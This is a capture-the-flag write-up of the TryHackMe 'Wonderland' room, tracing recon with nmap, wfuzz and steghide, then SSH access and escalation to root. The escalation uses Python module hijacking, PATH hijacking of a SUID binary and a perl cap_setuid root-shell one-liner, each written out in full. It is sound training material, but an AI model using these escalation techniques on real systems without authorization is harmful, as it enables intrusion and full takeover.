January 11, 20235 minutes

https://tryhackme.com/room/wonderland

Attacker IP = 10.10.10.10

Target IP = 10.10.3.160

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.186.98
PING 10.10.186.98 (10.10.186.98) 56(84) bytes of data.
64 bytes from 10.10.186.98: icmp_seq=1 ttl=63 time=45.4 ms

--- 10.10.186.98 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.355/45.355/45.355/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.126.65 -oG allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.186.98
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p22,80 -sC -sV 10.10.186.98
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8eeefb96cead70dd05a93b0db071b863 (RSA)
|   256 7a927944164f204350a9a847e2c2be84 (ECDSA)
|_  256 000b8044e63d4b6947922c55147e2ac9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.

Web (port 80)#

Web reconnaissance#

When we open the website, the first thing we see is the following

With ctrl + u we can view the page source. We see that the image is loaded from a subdirectory called img

<img src="/img/white_rabbit_1.jpg" style="height: 50rem;">

In the /img directory there are more images

• alice_door.jpg
• alice_door.png
• white_rabbit_1.jpg

Looking for hidden files in the images#

We download them to our machine with wget:

wget http://10.10.186.98/img/alice_door.jpg
wget http://10.10.186.98/img/alice_door.png
wget http://10.10.186.98/img/white_rabbit_1.jpg

With the steghide tool we can check whether they contain hidden files

steghide extract -sf white_rabbit_1.jpg

Only white_rabbit_1.jpg contains a hidden file, which says the following

follow the r a b b i t

Looking for subdirectories#

With wfuzz we’ll look for subdirectories on the website

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.186.98/FUZZ

It finds the following subdirectories:

• r
• img
• poem

When we open /r, we see the following:

We’ll run wfuzz again on the /r directory

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.186.98/r/FUZZ

It finds a subdirectory called a. Remembering the hint from the first image, “follow the r a b b i t”, we can guess there will be one subdirectory for each letter of the word “rabbit”.

At http://10.10.186.98/r/a/b/b/i/t we see the following

Pressing ctrl + u to view the page source, we can see a line with a username and a password

<p style="display: none;">alice:--password-censurada--</p>

SSH (port 22)#

Now we can connect over SSH with the credentials above…

ssh [email protected]

Privilege escalation#

Escalating to rabbit#

Inside the /home/alice/ folder we see these files

• -rw——- root.txt
• -rw-r–r– walrus_and_the_carpenter.py

With sudo -l we see that we can run /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py as the user rabbit.

Looking at the code of walrus_and_the_carpenter.py, we see it imports the random library and then uses its choice function.

What we can do is create a file called random.py in the same folder, so that this is the file that gets imported instead of /usr/lib/python3.6/random.py, which lets us run code as rabbit.

Contents of random.py:

import os

def choice(a):
   os.system("whoami")

When we run walrus_and_the_carpenter.py, we get the following:

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit
The line was:	 None

Now, if we change the code of random.py to the following and run walrus_and_the_carpenter.py again, we are rabbit

import os

def choice(a):
   os.system("bash")

Escalating to hatter#

In /home/rabbit/ there is a file called teaParty, which is a binary with SUID permissions

-rwsr-sr-x 1 root root 16816 May 25 2020 teaParty

When we run it, we see the following:

rabbit@wonderland:/home/rabbit$ ./teaParty 
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Thu, 12 Jan 2023 15:48:13 +0000
Ask very nicely, and I will give you some tea while you wait for him

With the strings command we can see readable text strings. We can see that it runs the date command using a relative path. For example: /bin/echo is an absolute path, echo is a relative path.

We can take advantage of this by running the following:

export PATH=/tmp:$PATH

The PATH variable specifies a list of directories, separated by a delimiter (usually a colon “:”), where the operating system looks for executables. Here, the “/tmp” directory is added to the beginning of the existing list of directories in PATH. This means the operating system will look in “/tmp” first when searching for an executable.

Now, inside /tmp, we can create a file called date with the following code:

#!/bin/bash

bash

Now we can run teaParty and we are hatter

Escalating to root#

In /home/hatter there is a file with his password.

The “getcap” command shows the capabilities of the programs on the root file system ("/")

hatter@wonderland:/home/rabbit$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

If the binary has the Linux CAP_SETUID capability set, or it is run by another binary with that capability, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

We are root